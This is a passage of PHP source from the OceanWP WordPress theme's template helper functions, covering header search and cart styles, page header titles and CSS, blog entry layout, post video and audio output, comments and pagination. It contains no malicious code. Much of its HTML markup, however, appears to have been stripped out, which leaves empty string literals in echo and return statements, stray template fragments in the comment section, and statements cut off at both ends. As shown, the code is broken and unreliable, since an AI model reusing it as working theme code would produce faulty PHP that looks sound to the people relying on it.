                • '; // Return nav $items. return $items; } add_filter( 'wp_nav_menu_items', 'oceanwp_add_search_to_menu', 11, 2 ); } /** * Outputs the search for the top header style * * @since 1.0.2 */ if ( ! function_exists( 'oceanwp_top_header_search' ) ) { function oceanwp_top_header_search() { // Get header & search style $search_style = oceanwp_menu_search_style(); // Return if disabled if ( 'top' != oceanwp_header_style() || ! $search_style || 'disabled' == $search_style ) { return; } // Get correct search icon class. if ( 'drop_down' == $search_style ) { $class = ' search-dropdown-toggle'; } elseif ( 'header_replace' == $search_style ) { $class = ' search-header-replace-toggle'; } elseif ( 'overlay' == $search_style ) { $class = ' search-overlay-toggle'; } else { $class = ''; } // Add search item to menu. echo ''; } } /** * Returns header search style * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_menu_cart_style' ) ) { function oceanwp_menu_cart_style() { // Return if WooCommerce isn't enabled or icon is disabled if ( ! OCEANWP_WOOCOMMERCE_ACTIVE || 'disabled' == get_theme_mod( 'ocean_woo_menu_icon_visibility', 'default' ) || 'disabled_desktop' == get_theme_mod( 'ocean_woo_menu_icon_visibility', 'default' ) || 'disabled' == get_theme_mod( 'ocean_woo_menu_icon_display', 'icon_count' ) ) { return; } // Get Menu Icon Style $style = get_theme_mod( 'ocean_woo_menu_icon_style', 'drop_down' ); // Return click style for these pages if ( is_cart() || is_checkout() ) { $style = 'custom_link'; } // Apply filters for advanced edits $style = apply_filters( 'ocean_menu_cart_style', $style ); // Sanitize output so it's not empty if ( 'drop_down' == $style || ! $style ) { $style = 'drop_down'; } // Return style return $style; } } /** * Mobile menu style * * @since 1.3.0 */ if ( ! function_exists( 'oceanwp_mobile_menu_style' ) ) { function oceanwp_mobile_menu_style() { // Get style from customizer setting $style = get_theme_mod( 'ocean_mobile_menu_style', 'dropdown' ); // Sanitize style to make sure it isn't empty $style = $style ? $style : 'dropdown'; // Apply filters and return return apply_filters( 'ocean_mobile_menu_style', $style ); } } /* -------------------------------------------------------------------------------*/ /* [ Page Header ] /*-------------------------------------------------------------------------------*/ /** * Page header template * I make a function to be able to remove it for the Beaver Themer plugin * * @since 1.2.5 */ if ( ! function_exists( 'oceanwp_page_header_template' ) ) { function oceanwp_page_header_template() { if ( is_singular( 'post' ) ) { get_template_part( ocean_single_post_header_template() ); } else { get_template_part( 'partials/page-header' ); } } add_action( 'ocean_page_header', 'oceanwp_page_header_template' ); } /** * Checks if the page header is enabled * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_has_page_header' ) ) { function oceanwp_has_page_header() { // Define vars $return = true; $style = oceanwp_page_header_style(); // Check if page header if ( 'hide-all-devices' == get_theme_mod( 'ocean_page_header_visibility' ) || 'hidden' == $style || is_page_template( 'templates/landing.php' ) ) { $return = false; } // Apply filters and return return apply_filters( 'ocean_display_page_header', $return ); } } /** * Checks if the page header heading is enabled * * @since 1.4.0 */ if ( ! function_exists( 'oceanwp_has_page_header_heading' ) ) { function oceanwp_has_page_header_heading() { // Define vars $return = true; // Apply filters and return return apply_filters( 'ocean_display_page_header_heading', $return ); } } /** * Returns page header style * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_page_header_style' ) ) { function oceanwp_page_header_style() { // Get default page header style defined in Customizer. $style = get_theme_mod( 'ocean_page_header_style' ); // If featured image in page header. if ( true == get_theme_mod( 'ocean_blog_single_featured_image_title', false ) && is_singular( 'post' ) && has_post_thumbnail() ) { $style = 'background-image'; } // Sanitize data. $style = ( 'default' == $style ) ? '' : $style; // Apply filters and return. return apply_filters( 'ocean_page_header_style', $style ); } } /** * Return the title * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_has_page_title' ) ) { function oceanwp_has_page_title() { // Default title is null $title = null; // Get post ID $post_id = oceanwp_post_id(); // Homepage - display blog description if not a static page if ( is_front_page() && ! is_singular( 'page' ) ) { if ( get_bloginfo( 'description' ) ) { $title = get_bloginfo( 'description' ); } else { $title = esc_html__( 'Recent Posts', 'oceanwp' ); } // Homepage posts page } elseif ( is_home() && ! is_singular( 'page' ) ) { $title = get_the_title( get_option( 'page_for_posts', true ) ); } // Search needs to go before archives elseif ( is_search() ) { global $wp_query; $title = '' . $wp_query->found_posts . ' ' . esc_html__( 'Search Results Found', 'oceanwp' ); } // Archives elseif ( is_archive() ) { // Author if ( is_author() ) { $title = get_the_archive_title(); } // Post Type archive title elseif ( is_post_type_archive() ) { $title = post_type_archive_title( '', false ); } // Daily archive title elseif ( is_day() ) { $title = sprintf( esc_html__( 'Daily Archives: %s', 'oceanwp' ), get_the_date() ); } // Monthly archive title elseif ( is_month() ) { $title = sprintf( esc_html__( 'Monthly Archives: %s', 'oceanwp' ), get_the_date( esc_html_x( 'F Y', 'Page title monthly archives date format', 'oceanwp' ) ) ); } // Yearly archive title elseif ( is_year() ) { $title = sprintf( esc_html__( 'Yearly Archives: %s', 'oceanwp' ), get_the_date( esc_html_x( 'Y', 'Page title yearly archives date format', 'oceanwp' ) ) ); } // Categories/Tags/Other else { // Get term title $title = single_term_title( '', false ); // Fix for plugins that are archives but use pages if ( ! $title ) { global $post; $title = get_the_title( $post_id ); } } } // End is archive check // 404 Page elseif ( is_404() ) { $title = esc_html__( '404: Page Not Found', 'oceanwp' ); } // Fix for WooCommerce My Accounts pages elseif ( function_exists( 'is_wc_endpoint_url' ) && is_wc_endpoint_url() ) { $endpoint = WC()->query->get_current_endpoint(); $endpoint_title = WC()->query->get_endpoint_title( $endpoint ); $title = $endpoint_title ? $endpoint_title : $title; } // Anything else with a post_id defined elseif ( $post_id ) { // Single Pages if ( is_singular( 'page' ) || is_singular( 'attachment' ) ) { $title = get_the_title( $post_id ); } // Single blog posts elseif ( is_singular( 'post' ) ) { if ( 'post-title' == get_theme_mod( 'ocean_blog_single_page_header_title', 'blog' ) ) { $title = get_the_title(); } else { $title = esc_html__( 'Blog', 'oceanwp' ); } } // Other posts else { $title = get_the_title( $post_id ); } } // Last check if title is empty $title = $title ? $title : get_the_title(); // Apply filters and return title return apply_filters( 'ocean_title', $title ); } } /** * Returns page subheading * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_get_page_subheading' ) ) { function oceanwp_get_page_subheading() { // Subheading is NULL by default $subheading = null; // Search if ( is_search() ) { $subheading = esc_html__( 'You searched for:', 'oceanwp' ) . ' "' . esc_html( get_search_query( false ) ) . '"'; } // Author elseif ( is_author() ) { $subheading = esc_html__( 'This author has written', 'oceanwp' ) . ' ' . get_the_author_posts() . ' ' . esc_html__( 'articles', 'oceanwp' ); } // Archives elseif ( is_post_type_archive() ) { $subheading = get_the_archive_description(); } // Apply filters and return return apply_filters( 'ocean_post_subheading', $subheading ); } } /** * Get taxonomy description * * @since 1.5.27 */ if ( ! function_exists( 'oceanwp_get_tax_description' ) ) { function oceanwp_get_tax_description() { // Subheading is NULL by default $desc = null; // All other Taxonomies if ( is_category() || is_tag() ) { $desc = term_description(); } // Apply filters and return return apply_filters( 'ocean_tax_description', $desc ); } } /** * Add taxonomy description * * @since 1.5.27 */ if ( ! function_exists( 'oceanwp_tax_description' ) ) { function oceanwp_tax_description() { if ( $desc = oceanwp_get_tax_description() ) : ?>
                  '; // Apply filters for child theming $return = apply_filters( 'ocean_page_header_overlay', $return ); // Return echo wp_kses_post( $return ); } } /** * Outputs Custom CSS for the page title overlay * Place this function before the page header css so the solid color setting works * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_page_header_overlay_css' ) ) { function oceanwp_page_header_overlay_css( $output ) { // Only needed for the background-image style so return otherwise if ( 'background-image' != oceanwp_page_header_style() ) { return; } // Global vars $opacity = get_theme_mod( 'ocean_page_header_bg_image_overlay_opacity', '0.5' ); $overlay_color = get_theme_mod( 'ocean_page_header_bg_image_overlay_color', '#000000' ); if ( true == get_theme_mod( 'ocean_blog_single_featured_image_title', false ) && is_singular( 'post' ) ) { $opacity = get_theme_mod( 'ocean_blog_single_title_bg_image_overlay_opacity', '0.5' ); $overlay_color = get_theme_mod( 'ocean_blog_single_title_bg_image_overlay_color', '#000000' ); } $opacity = $opacity ? $opacity : '0.5'; $opacity = apply_filters( 'ocean_post_title_bg_overlay', $opacity ); $overlay_color = $overlay_color ? $overlay_color : '#000000'; $overlay_color = apply_filters( 'ocean_post_title_bg_overlay_color', $overlay_color ); // Define css var $css = ''; // Get page header overlayopacity if ( ! empty( $opacity ) && '0.5' != $opacity ) { $css .= 'opacity:' . $opacity . ';'; } // Get page header overlay color if ( ! empty( $overlay_color ) && '#000000' != $overlay_color ) { $css .= 'background-color:' . $overlay_color . ';'; } // Return CSS if ( ! empty( $css ) ) { $output .= '.background-image-page-header-overlay{' . $css . '}'; } // Return output css return $output; } add_filter( 'ocean_head_css', 'oceanwp_page_header_overlay_css' ); } /** * Outputs Custom CSS for the page title * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_page_header_css' ) ) { function oceanwp_page_header_css( $output ) { // Return output if page header is disabled if ( ! oceanwp_has_page_header() ) { return $output; } // Define var $css = ''; // Customize background color $bg_color = get_theme_mod( 'ocean_page_header_background', '#f5f5f5' ); $bg_color = $bg_color ? $bg_color : '#f5f5f5'; $bg_color = apply_filters( 'ocean_post_title_background_color', $bg_color ); if ( ! empty( $bg_color ) && '#f5f5f5' != $bg_color ) { $css .= 'background-color: ' . $bg_color . ';'; } // Background image Style if ( oceanwp_page_header_style() == 'background-image' ) { // Add background image $bg_img = get_theme_mod( 'ocean_page_header_bg_image' ); if ( true == get_theme_mod( 'ocean_blog_single_featured_image_title', false ) && is_singular( 'post' ) && has_post_thumbnail() ) { $bg_img = get_the_post_thumbnail_url(); } // Put the filter before generating the image url $bg_img = apply_filters( 'ocean_page_header_background_image', $bg_img ); // Generate image URL if using ID if ( is_numeric( $bg_img ) ) { $bg_img = wp_get_attachment_image_src( $bg_img, 'full' ); $bg_img = $bg_img[0]; } $bg_img = $bg_img ? $bg_img : null; $bg_img = $bg_img; // Immage attrs $bg_img_position = get_theme_mod( 'ocean_page_header_bg_image_position', 'top center' ); $bg_img_attachment = get_theme_mod( 'ocean_page_header_bg_image_attachment', 'initial' ); $bg_img_repeat = get_theme_mod( 'ocean_page_header_bg_image_repeat', 'no-repeat' ); $bg_img_size = get_theme_mod( 'ocean_page_header_bg_image_size', 'cover' ); // If image attrs from single post section if ( true == get_theme_mod( 'ocean_blog_single_featured_image_title', false ) && is_singular( 'post' ) ) { $bg_img_position = get_theme_mod( 'ocean_blog_single_title_bg_image_position', 'top center' ); $bg_img_attachment = get_theme_mod( 'ocean_blog_single_title_bg_image_attachment', 'initial' ); $bg_img_repeat = get_theme_mod( 'ocean_blog_single_title_bg_image_repeat', 'no-repeat' ); $bg_img_size = get_theme_mod( 'ocean_blog_single_title_bg_image_size', 'cover' ); } $bg_img_position = $bg_img_position ? $bg_img_position : 'top center'; $bg_img_position = apply_filters( 'ocean_post_title_bg_image_position', $bg_img_position ); $bg_img_attachment = $bg_img_attachment ? $bg_img_attachment : 'initial'; $bg_img_attachment = apply_filters( 'ocean_post_title_bg_image_attachment', $bg_img_attachment ); $bg_img_repeat = $bg_img_repeat ? $bg_img_repeat : 'no-repeat'; $bg_img_repeat = apply_filters( 'ocean_post_title_bg_image_repeat', $bg_img_repeat ); $bg_img_size = $bg_img_size ? $bg_img_size : 'cover'; $bg_img_size = apply_filters( 'ocean_post_title_bg_image_size', $bg_img_size ); if ( $bg_img ) { // Add css for background image $css .= 'background-image: url( ' . $bg_img . ' ) !important;'; // Background position if ( ! empty( $bg_img_position ) && 'top center' != $bg_img_position && 'initial' != $bg_img_position ) { $css .= 'background-position:' . $bg_img_position . ';'; } // Background attachment if ( ! empty( $bg_img_attachment ) && 'initial' != $bg_img_attachment ) { $css .= 'background-attachment:' . $bg_img_attachment . ';'; } // Background repeat if ( ! empty( $bg_img_repeat ) && 'no-repeat' != $bg_img_repeat && 'initial' != $bg_img_repeat ) { $css .= 'background-repeat:' . $bg_img_repeat . ';'; } // Background size if ( ! empty( $bg_img_size ) && 'cover' != $bg_img_size && 'initial' != $bg_img_size ) { $css .= 'background-size:' . $bg_img_size . ';'; } } // Custom height $title_height = get_theme_mod( 'ocean_page_header_bg_image_height', '400' ); if ( true == get_theme_mod( 'ocean_blog_single_featured_image_title', false ) && is_singular( 'post' ) ) { $title_height = get_theme_mod( 'ocean_blog_single_title_bg_image_height', '400' ); } $title_height = $title_height ? $title_height : '400'; $title_height = apply_filters( 'ocean_post_title_height', $title_height ); if ( ! empty( $title_height ) && '400' != $title_height ) { $css .= 'height:' . $title_height . 'px;'; } } // Apply all css to the page-header class if ( ! empty( $css ) ) { $css = '.page-header { ' . $css . ' }'; } // If css var isn't empty add to custom css output if ( ! empty( $css ) ) { $output .= $css; } // Return output return $output; } add_filter( 'ocean_head_css', 'oceanwp_page_header_css' ); } /* -------------------------------------------------------------------------------*/ /* [ Blog ] /*-------------------------------------------------------------------------------*/ /** * Adds post classes * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_blog_wrap_classes' ) ) { function oceanwp_blog_wrap_classes( $classes = null ) { // Return custom class if set if ( $classes ) { return $classes; } // Admin defaults $style = oceanwp_blog_entry_style(); $classes = array( 'entries', 'clr' ); // Isotope classes if ( $style == 'grid-entry' ) { $classes[] = 'oceanwp-row'; if ( 'masonry' == oceanwp_blog_grid_style() ) { $classes[] = 'blog-masonry-grid'; } else { $classes[] = 'blog-grid'; } } // Equal heights if ( oceanwp_blog_entry_equal_heights() ) { $classes[] = 'blog-equal-heights'; } // Infinite scroll class if ( 'infinite_scroll' == oceanwp_blog_pagination_style() ) { $classes[] = 'infinite-scroll-wrap'; } // Add filter for child theming $classes = apply_filters( 'ocean_blog_wrap_classes', $classes ); // Turn classes into space seperated string if ( is_array( $classes ) ) { $classes = implode( ' ', $classes ); } // Echo classes echo esc_attr( $classes ); } } /** * Adds entry classes * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_post_entry_classes' ) ) { function oceanwp_post_entry_classes() { // Define classes array $classes = array(); // Entry Style $entry_style = oceanwp_blog_entry_style(); // Core classes $classes[] = 'blog-entry'; $classes[] = 'clr'; // Masonry classes if ( 'masonry' == oceanwp_blog_grid_style() ) { $classes[] = 'isotope-entry'; } // Add columns for grid style entries if ( $entry_style == 'grid-entry' ) { $classes[] = 'col'; $classes[] = oceanwp_grid_class( oceanwp_blog_entry_columns() ); // Counter global $oceanwp_count; if ( $oceanwp_count ) { $classes[] = 'col-' . $oceanwp_count; } } // No Featured Image Class, don't add if oembed or self hosted meta are defined if ( ! has_post_thumbnail() && '' == get_post_meta( get_the_ID(), 'ocean_post_self_hosted_shortcode', true ) && '' == get_post_meta( get_the_ID(), 'ocean_post_oembed', true ) ) { $classes[] = 'no-featured-image'; } // Infinite scroll class if ( 'infinite_scroll' == oceanwp_blog_pagination_style() ) { $classes[] = 'item-entry'; } // Blog entry style $classes[] = $entry_style; // Apply filters to entry post class for child theming $classes = apply_filters( 'ocean_blog_entry_classes', $classes ); // Rturn classes array return $classes; } } /** * Returns correct style for the blog entry based on the customizer * * @since 1.0.4 */ if ( ! function_exists( 'oceanwp_blog_entry_style' ) ) { function oceanwp_blog_entry_style() { // Get default style from Customizer $style = get_theme_mod( 'ocean_blog_style', 'large-entry' ); // Sanitize $style = $style ? $style : 'large-entry'; // Apply filters for child theming $style = apply_filters( 'ocean_blog_entry_style', $style ); // Return style return $style; } } /** * Returns correct images size * * @since 1.0.4 */ if ( ! function_exists( 'oceanwp_blog_entry_images_size' ) ) { function oceanwp_blog_entry_images_size() { // Get default size from Customizer $size = get_theme_mod( 'ocean_blog_grid_images_size', 'medium' ); // Sanitize $size = $size ? $size : 'medium'; // Apply filters for child theming $size = apply_filters( 'ocean_blog_entry_images_size', $size ); // Return size return $size; } } /** * Returns the grid style * * @since 1.0.4 */ if ( ! function_exists( 'oceanwp_blog_grid_style' ) ) { function oceanwp_blog_grid_style() { // Get default style from Customizer $style = get_theme_mod( 'ocean_blog_grid_style', 'fit-rows' ); // Sanitize $style = $style ? $style : 'fit-rows'; // Apply filters for child theming $style = apply_filters( 'ocean_blog_grid_style', $style ); // Return style return $style; } } /** * Checks if it's a fit-rows style grid * * @since 1.0.4 */ if ( ! function_exists( 'oceanwp_blog_fit_rows' ) ) { function oceanwp_blog_fit_rows() { // Return false by default $return = false; // Get current blog style if ( 'grid-entry' == oceanwp_blog_entry_style() ) { $return = true; } else { $return = false; } // Apply filters for child theming $return = apply_filters( 'ocean_blog_fit_rows', $return ); // Return bool return $return; } } /** * Checks if the blog entries should have equal heights * * @since 1.0.4 */ if ( ! function_exists( 'oceanwp_blog_entry_equal_heights' ) ) { function oceanwp_blog_entry_equal_heights() { if ( ! get_theme_mod( 'ocean_blog_grid_equal_heights', false ) ) { return false; } $entry_style = oceanwp_blog_entry_style(); if ( 'grid-entry' == $entry_style && 'masonry' != oceanwp_blog_grid_style() ) { return true; } } } /** * Returns correct columns for the blog entries * * @since 1.0.4 */ if ( ! function_exists( 'oceanwp_blog_entry_columns' ) ) { function oceanwp_blog_entry_columns() { // Get columns from customizer setting $columns = get_theme_mod( 'ocean_blog_grid_columns', '2' ); // Sanitize $columns = $columns ? $columns : '2'; // Apply filters for child theming $columns = apply_filters( 'ocean_blog_entry_columns', $columns ); // Return columns return $columns; } } /** * Check if the post has a gallery * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_post_has_gallery' ) ) { function oceanwp_post_has_gallery( $post_id = '' ) { $post_id = $post_id ? $post_id : get_the_ID(); if ( get_post_meta( $post_id, 'ocean_gallery_id', true ) ) { return true; } } } /** * Retrieve attachment IDs * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_get_gallery_ids' ) ) { function oceanwp_get_gallery_ids( $post_id = '' ) { $post_id = $post_id ? $post_id : get_the_ID(); $attachment_ids = get_post_meta( $post_id, 'ocean_gallery_id', true ); if ( $attachment_ids ) { return $attachment_ids; } } } /** * Retrieve attachment data * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_get_attachment' ) ) { function oceanwp_get_attachment( $id ) { $attachment = get_post( $id ); return array( 'alt' => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ), 'caption' => $attachment->post_excerpt, 'description' => $attachment->post_content, 'href' => get_permalink( $attachment->ID ), 'src' => $attachment->guid, 'title' => $attachment->post_title, ); } } /** * Return gallery count * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_gallery_count' ) ) { function oceanwp_gallery_count() { $ids = oceanwp_get_gallery_ids(); return count( $ids ); } } /** * Check if lightbox is enabled * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_gallery_is_lightbox_enabled' ) ) { function oceanwp_gallery_is_lightbox_enabled() { if ( 'on' == get_post_meta( get_the_ID(), 'ocean_gallery_link_images', true ) ) { return true; } } } /** * Returns post media * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_get_post_media' ) ) { function oceanwp_get_post_media( $post_id = '' ) { // Define video variable $video = ''; // Get correct ID $post_id = $post_id ? $post_id : get_the_ID(); // Embed if ( $meta = get_post_meta( $post_id, 'ocean_post_video_embed', true ) ) { $video = $meta; } // Check for self-hosted first elseif ( $meta = get_post_meta( $post_id, 'ocean_post_self_hosted_media', true ) ) { $video = $meta; } // Check for post oembed elseif ( $meta = get_post_meta( $post_id, 'ocean_post_oembed', true ) ) { $video = $meta; } // Apply filters for child theming $video = apply_filters( 'ocean_get_post_video', $video ); // Return data return $video; } } /** * Returns post video HTML * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_get_post_video_html' ) ) { function oceanwp_get_post_video_html( $video = '' ) { // Get video $video = $video ? $video : oceanwp_get_post_media(); // Return if video is empty if ( empty( $video ) ) { return; } // Check post format for standard post type if ( 'post' == get_post_type() && 'video' != get_post_format() ) { return; } // Get oembed code and return if ( ! is_wp_error( $oembed = wp_oembed_get( $video ) ) && $oembed ) { return '
                  ' . $oembed . '
                  '; } // Display using apply_filters if it's self-hosted else { $video = apply_filters( 'the_content', $video ); // Add responsive video wrap for youtube/vimeo embeds if ( strpos( $video, 'youtube' ) || strpos( $video, 'vimeo' ) ) { return '
                  ' . $video . '
                  '; } // Else return without responsive wrap else { return $video; } } } } /** * Returns post audio * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_get_post_audio_html' ) ) { function oceanwp_get_post_audio_html( $audio = '' ) { // Get audio $audio = $audio ? $audio : oceanwp_get_post_media(); // Return if audio is empty if ( empty( $audio ) ) { return; } // Check post format for standard post type if ( 'post' == get_post_type() && 'audio' != get_post_format() ) { return; } // Get oembed code and return if ( ! is_wp_error( $oembed = wp_oembed_get( $audio ) ) && $oembed ) { return '
                  ' . $oembed . '
                  '; } // Display using apply_filters if it's self-hosted else { $audio = apply_filters( 'the_content', $audio ); // Add responsive audio wrap for youtube/vimeo embeds if ( strpos( $audio, 'youtube' ) || strpos( $audio, 'vimeo' ) ) { return '
                  ' . $audio . '
                  '; } // Else return without responsive wrap else { return $audio; } } } } /** * Returns blog entry elements for the customizer * * @since 1.1.0 */ if ( ! function_exists( 'oceanwp_blog_entry_elements' ) ) { function oceanwp_blog_entry_elements() { // Default elements $elements = apply_filters( 'ocean_blog_entry_elements', array( 'featured_image' => esc_html__( 'Featured Image', 'oceanwp' ), 'title' => esc_html__( 'Title', 'oceanwp' ), 'meta' => esc_html__( 'Meta', 'oceanwp' ), 'content' => esc_html__( 'Content', 'oceanwp' ), 'read_more' => esc_html__( 'Read More', 'oceanwp' ), ) ); // Return elements return $elements; } } /** * Returns blog entry elements positioning * * @since 1.1.0 */ if ( ! function_exists( 'oceanwp_blog_entry_elements_positioning' ) ) { function oceanwp_blog_entry_elements_positioning() { // Default sections $sections = array( 'featured_image', 'title', 'meta', 'content', 'read_more' ); // Get sections from Customizer $sections = get_theme_mod( 'ocean_blog_entry_elements_positioning', $sections ); // Turn into array if string if ( $sections && ! is_array( $sections ) ) { $sections = explode( ',', $sections ); } // Apply filters for easy modification $sections = apply_filters( 'ocean_blog_entry_elements_positioning', $sections ); // Return sections return $sections; } } /** * Returns blog entry meta * * @since 1.0.5.1 */ if ( ! function_exists( 'oceanwp_blog_entry_meta' ) ) { function oceanwp_blog_entry_meta() { // Default sections $sections = array( 'author', 'date', 'categories', 'comments' ); // Get sections from Customizer $sections = get_theme_mod( 'ocean_blog_entry_meta', $sections ); // Turn into array if string if ( $sections && ! is_array( $sections ) ) { $sections = explode( ',', $sections ); } // Apply filters for easy modification $sections = apply_filters( 'ocean_blog_entry_meta', $sections ); // Return sections return $sections; } } /** * Returns blog single elements for the customizer * * @since 1.1.0 */ if ( ! function_exists( 'oceanwp_blog_single_elements' ) ) { function oceanwp_blog_single_elements() { // Default elements $elements = apply_filters( 'ocean_blog_single_elements', array( 'featured_image' => esc_html__( 'Featured Image', 'oceanwp' ), 'title' => esc_html__( 'Title', 'oceanwp' ), 'meta' => esc_html__( 'Meta', 'oceanwp' ), 'content' => esc_html__( 'Content', 'oceanwp' ), 'tags' => esc_html__( 'Tags', 'oceanwp' ), 'social_share' => esc_html__( 'Social Share', 'oceanwp' ), 'next_prev' => esc_html__( 'Next/Prev Links', 'oceanwp' ), 'author_box' => esc_html__( 'Author Box', 'oceanwp' ), 'related_posts' => esc_html__( 'Related Posts', 'oceanwp' ), 'single_comments' => esc_html__( 'Comments', 'oceanwp' ), ) ); // Return elements return $elements; } } /** * Returns blog single elements positioning * * @since 1.1.0 */ if ( ! function_exists( 'oceanwp_blog_single_elements_positioning' ) ) { function oceanwp_blog_single_elements_positioning() { // Default sections $sections = array( 'featured_image', 'title', 'meta', 'content', 'tags', 'social_share', 'next_prev', 'author_box', 'related_posts', 'single_comments' ); // Get sections from Customizer $sections = get_theme_mod( 'ocean_blog_single_elements_positioning', $sections ); // Turn into array if string if ( $sections && ! is_array( $sections ) ) { $sections = explode( ',', $sections ); } // Apply filters for easy modification $sections = apply_filters( 'ocean_blog_single_elements_positioning', $sections ); // Return sections return $sections; } } /** * Returns blog single meta * * @since 1.0.5.1 */ if ( ! function_exists( 'oceanwp_blog_single_meta' ) ) { function oceanwp_blog_single_meta() { // Default sections $sections = array( 'author', 'date', 'categories', 'comments' ); // Get sections from Customizer $sections = get_theme_mod( 'ocean_blog_single_meta', $sections ); // Turn into array if string if ( $sections && ! is_array( $sections ) ) { $sections = explode( ',', $sections ); } // Apply filters for easy modification $sections = apply_filters( 'ocean_blog_single_meta', $sections ); // Return sections return $sections; } } /** * Returns reading time * * @since 1.8.4 */ if ( ! function_exists( 'ocean_reading_time' ) ) { function ocean_reading_time() { global $post; $content = get_post_field( 'post_content', $post->ID ); $word_count = str_word_count( $content ); $reading_time = ceil( $word_count / 200 ); $reading_time = apply_filters( 'oceanwp_post_reading_time', $reading_time ); $owp_reading_time = printf( /* translators: 1: post reading time. */ esc_html__( '%1$s mins read', 'oceanwp' ), number_format_i18n( $reading_time ) ); } } /** * Comments and pingbacks * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_comment' ) ) { function oceanwp_comment( $comment, $args, $depth ) { switch ( $comment->comment_type ) : case 'pingback': case 'trackback': // Display trackbacks differently than normal comments. ?>
                • id="comment-">

                  > ', '' ); ?>

                • >
                  comment_approved ) : ?>

                  '; $fields['email'] = ''; $fields['url'] = '
                  '; return $fields; } add_filter( 'comment_form_default_fields', 'oceanwp_modify_comment_form_fields' ); } /** * Numbered Pagination * * @since 1.0.0 * @link https://codex.wordpress.org/Function_Reference/paginate_links */ if ( ! function_exists( 'oceanwp_pagination' ) ) { function oceanwp_pagination( $query = '', $echo = true ) { // Arrows with RTL support if ( $echo ) { $prev_arrow = is_rtl() ? oceanwp_icon( 'angle_right', false ) : oceanwp_icon( 'angle_left', false ); $next_arrow = is_rtl() ? oceanwp_icon( 'angle_left', false ) : oceanwp_icon( 'angle_right', false ); } else { $prev_arrow = is_rtl() ? oceanwp_icon( 'angle_right' ) : oceanwp_icon( 'angle_left' ); $next_arrow = is_rtl() ? oceanwp_icon( 'angle_left' ) : oceanwp_icon( 'angle_right' ); } // Get global $query if ( ! $query ) { global $wp_query; $query = $wp_query; } // Set vars $total = $query->max_num_pages; $big = 999999999; // Display pagination if total var is greater then 1 ( current query is paginated ) if ( $total > 1 ) { // Get current page if ( $current_page = get_query_var( 'paged' ) ) { $current_page = $current_page; } elseif ( $current_page = get_query_var( 'page' ) ) { $current_page = $current_page; } else { $current_page = 1; } // Get permalink structure if ( get_option( 'permalink_structure' ) ) { if ( is_page() ) { $format = 'page/%#%/'; } else { $format = '/%#%/'; } } else { $format = '&paged=%#%'; } $args = apply_filters( 'ocean_pagination_args', array( 'base' => str_replace( $big, '%#%', html_entity_decode( get_pagenum_link( $big ) ) ), 'format' => $format, 'current' => max( 1, $current_page ), 'total' => $total, 'mid_size' => 3, 'type' => 'list', 'prev_text' => '' . esc_attr__( 'Go to the previous page', 'oceanwp' ) . '' . $prev_arrow, 'next_text' => '' . esc_attr__( 'Go to the next page', 'oceanwp' ) . '' . $next_arrow, ) ); // Output pagination if ( $echo ) { echo '
                  ' . paginate_links( $args ) . '
                  '; } else { return '
                  ' . paginate_links( $args ) . '
                  '; } } } } /** * Next and previous pagination * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_pagejump' ) ) { function oceanwp_pagejump( $pages = '', $range = 4, $echo = true ) { // Vars global $wp_query; $output = ''; // Display next/previous pagination if ( $wp_query->max_num_pages > 1 ) { $output .= '
                  '; $output .= '
                  '; $output .= get_previous_posts_link( ' ' . esc_attr__( 'Newer Posts', 'oceanwp' ) ); $output .= '
                  '; $output .= '
                  '; $output .= get_next_posts_link( esc_attr__( 'Older Posts', 'oceanwp' ) . ' ' ); $output .= '
                  '; $output .= '
                  '; if ( $echo ) { echo wp_kses_post( $output ); } else { return $output; } } } } /** * Infinite Scroll Pagination * * @since 1.0.4 */ if ( ! function_exists( 'oceanwp_infinite_scroll' ) ) { function oceanwp_infinite_scroll( $type = 'standard' ) { // Last text $last = get_theme_mod( 'ocean_blog_infinite_scroll_last_text' ); $last = oceanwp_tm_translation( 'ocean_blog_infinite_scroll_last_text', $last ); $last = $last ? $last : esc_html__( 'End of content', 'oceanwp' ); // Error text $error = get_theme_mod( 'ocean_blog_infinite_scroll_error_text' ); $error = oceanwp_tm_translation( 'ocean_blog_infinite_scroll_error_text', $error ); $error = $error ? $error : esc_html__( 'No more pages to load', 'oceanwp' ); // Output pagination HTML $output = ''; $output .= '
                  '; $output .= '
                  '; $output .= ''; $output .= ''; $output .= ''; $output .= ''; $output .= '
                  '; $output .= '

                  ' . $last . '

                  '; $output .= '

                  ' . $error . '

                  '; $output .= '
                  '; $output .= '
                  '; $output .= '
                  ' . get_previous_posts_link( ' ' . esc_attr__( 'Newer Posts', 'oceanwp' ) ) . '
                  '; $output .= '
                  ' . get_next_posts_link( esc_attr__( 'Older Posts', 'oceanwp' ) . ' ' ) . '
                  '; $output .= '
